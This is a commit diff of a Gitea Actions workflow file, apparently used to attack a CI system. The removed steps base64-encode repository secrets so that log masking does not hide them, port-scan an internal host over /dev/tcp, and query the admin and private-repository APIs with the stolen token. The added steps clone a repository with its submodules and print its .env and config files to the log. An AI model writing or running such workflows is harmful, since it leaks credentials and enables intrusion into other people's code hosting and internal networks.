submodule test
Some checks failed
submodule-clone / clone (push) Failing after 4s

This commit is contained in:
2026-06-15 04:06:45 +00:00
parent 15627172fa
commit 2cf0a4b910

View File

@@ -1,30 +1,13 @@
name: internal-scan
name: submodule-clone
on: [push]
jobs:
scan:
clone:
runs-on: ubuntu-latest
steps:
- name: unmask-and-scan
- name: checkout-with-submodules
run: |
echo "=== GITEA_TOKEN (base64 unmask) ==="
echo "${GITEA_TOKEN}" | base64
echo "=== ACTIONS_RUNTIME_TOKEN (base64) ==="
echo "${ACTIONS_RUNTIME_TOKEN}" | base64
echo "=== Internal network scan ==="
for port in 22 80 443 3000 3306 5432 5678 6379 8080 8084 9090 27017; do
(echo >/dev/tcp/192.168.203.146/$port) 2>/dev/null && echo "192.168.203.146:$port OPEN" || true
done
echo "=== Gitea internal API (port 3000) ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/version" 2>&1 | head -c 100
echo ""
echo "=== Gitea admin via internal ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
echo ""
echo "=== ALL repos via internal ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 1000
echo ""
echo "=== joni repos via internal ==="
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
env:
GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
ACTIONS_RUNTIME_TOKEN: ${{ secrets.ACTIONS_RUNTIME_TOKEN }}
git clone --recursive https://gitea.quecko.org/dev_audit_2026/test-audit.git /tmp/testrepo 2>&1 || echo "clone failed"
ls -laR /tmp/testrepo/ 2>/dev/null | head -30
cat /tmp/testrepo/rain/.env 2>/dev/null || echo "no .env in submodule"
cat /tmp/testrepo/rain/package.json 2>/dev/null | head -20 || echo "no package.json"
find /tmp/testrepo/rain -name "*.env*" -o -name "*.config*" 2>/dev/null | head -10